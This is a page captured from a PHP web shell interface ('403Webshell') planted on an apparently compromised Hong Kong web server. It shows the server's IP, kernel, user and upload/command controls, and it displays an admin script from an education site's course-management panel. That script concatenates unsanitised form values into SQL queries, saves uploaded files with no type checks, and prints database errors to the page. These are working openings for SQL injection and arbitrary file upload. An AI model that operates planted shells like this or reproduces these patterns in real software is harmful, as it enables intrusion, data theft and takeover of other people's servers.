403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)discoverylearning.com.hk/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)discoverylearning.com.hk/webadmin/coursesdetail_modify.php
<?php require("configure.php");
 
$CoursesCatId 			= $_POST["CoursesCatId"];
$CoursesDetailId		= $_POST["CoursesDetailId"];
$CoursesDetailNameen	= htmlspecialchars($_POST["CoursesDetailNameen"],ENT_QUOTES);
$CoursesDetailAgeen		= htmlspecialchars($_POST["CoursesDetailAgeen"],ENT_QUOTES);
$CoursesDetailFeeen		= htmlspecialchars($_POST["CoursesDetailFeeen"],ENT_QUOTES);
$CoursesDetailTimeen	= htmlspecialchars($_POST["CoursesDetailTimeen"],ENT_QUOTES);
$CoursesDetailDescen	= preg_replace("/'/","\'",$_POST["CoursesDetailDescen"]);

$CoursesDetailNametc	= htmlspecialchars($_POST["CoursesDetailNametc"],ENT_QUOTES);
$CoursesDetailAgetc		= htmlspecialchars($_POST["CoursesDetailAgetc"],ENT_QUOTES);
$CoursesDetailFeetc		= htmlspecialchars($_POST["CoursesDetailFeetc"],ENT_QUOTES);
$CoursesDetailTimetc	= htmlspecialchars($_POST["CoursesDetailTimetc"],ENT_QUOTES);
$CoursesDetailDesctc	= preg_replace("/'/","\'",$_POST["CoursesDetailDesctc"]);

$CoursesDetailNamesc	= htmlspecialchars($_POST["CoursesDetailNamesc"],ENT_QUOTES);
$CoursesDetailAgesc		= htmlspecialchars($_POST["CoursesDetailAgesc"],ENT_QUOTES);
$CoursesDetailFeesc		= htmlspecialchars($_POST["CoursesDetailFeesc"],ENT_QUOTES);
$CoursesDetailTimesc	= htmlspecialchars($_POST["CoursesDetailTimesc"],ENT_QUOTES);
$CoursesDetailDescsc	= preg_replace("/'/","\'",$_POST["CoursesDetailDescsc"]);

//print_r($_POST);

// copy image 
if ($_FILES['CoursesDetailScheduleen']['name'] <> '')
{
	copy ($_FILES['CoursesDetailScheduleen']['tmp_name'], "coursesschedule/".$CoursesDetailId."_en_".$_FILES['CoursesDetailScheduleen']['name']) 
		or die ("Could not copy");
	
	$CoursesDetailScheduleen = $CoursesDetailId."_en_".$_FILES['CoursesDetailScheduleen']['name'];
	$CoursesDetailScheduleen	= htmlspecialchars($CoursesDetailScheduleen,ENT_QUOTES);
}
else
{
	$CoursesDetailScheduleen = "";
}
// End upload image code

// copy image 
if ($_FILES['CoursesDetailScheduletc']['name'] <> '')
{
	copy ($_FILES['CoursesDetailScheduletc']['tmp_name'], "coursesschedule/".$CoursesDetailId."_tc_".$_FILES['CoursesDetailScheduletc']['name']) 
		or die ("Could not copy");
	
	$CoursesDetailScheduletc = $CoursesDetailId."_tc_".$_FILES['CoursesDetailScheduletc']['name'];
	$CoursesDetailScheduletc	= htmlspecialchars($CoursesDetailScheduletc,ENT_QUOTES);
}
else
{
	$CoursesDetailScheduletc = "";
}
// End upload image code

// copy image 
if ($_FILES['CoursesDetailSchedulesc']['name'] <> '')
{
	copy ($_FILES['CoursesDetailSchedulesc']['tmp_name'], "coursesschedule/".$CoursesDetailId."_sc_".$_FILES['CoursesDetailSchedulesc']['name']) 
		or die ("Could not copy");
	
	$CoursesDetailSchedulesc = $CoursesDetailId."_sc_".$_FILES['CoursesDetailSchedulesc']['name'];
	$CoursesDetailSchedulesc	= htmlspecialchars($CoursesDetailSchedulesc,ENT_QUOTES);
}
else
{
	$CoursesDetailSchedulesc = "";
}
// End upload image code

// Modify 
$sql = "update CoursesDetail set CoursesCatId='$CoursesCatId', CoursesDetailNameen='$CoursesDetailNameen', CoursesDetailAgeen='$CoursesDetailAgeen', CoursesDetailFeeen='$CoursesDetailFeeen', CoursesDetailTimeen='$CoursesDetailTimeen', CoursesDetailDescen='$CoursesDetailDescen', CoursesDetailNametc='$CoursesDetailNametc', CoursesDetailAgetc='$CoursesDetailAgetc', CoursesDetailFeetc='$CoursesDetailFeetc', CoursesDetailTimetc='$CoursesDetailTimetc', CoursesDetailDesctc='$CoursesDetailDesctc', CoursesDetailNamesc='$CoursesDetailNamesc', CoursesDetailAgesc='$CoursesDetailAgesc', CoursesDetailFeesc='$CoursesDetailFeesc', CoursesDetailTimesc='$CoursesDetailTimesc', CoursesDetailDescsc='$CoursesDetailDescsc' ";
if ($CoursesDetailScheduleen <> '')
	$sql .= ", CoursesDetailScheduleen='$CoursesDetailScheduleen' ";
if ($CoursesDetailScheduletc <> '')
	$sql .= ", CoursesDetailScheduletc='$CoursesDetailScheduletc' ";
if ($CoursesDetailSchedulesc <> '')
	$sql .= ", CoursesDetailSchedulesc='$CoursesDetailSchedulesc' ";
$sql .= " where CoursesDetailId=". $CoursesDetailId ." ";
mysql_query($sql);

if( mysql_errno() > 0 ){
	echo 'Courses Detail Modify Error:<br />'. mysql_error() .'<br />SQL: '. $sql;
	exit;
}

	
mysql_close($dbh);

header("Location: coursesdetail_index.php?CoursesCatId=".$CoursesCatId."&msg=Modify Successful");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit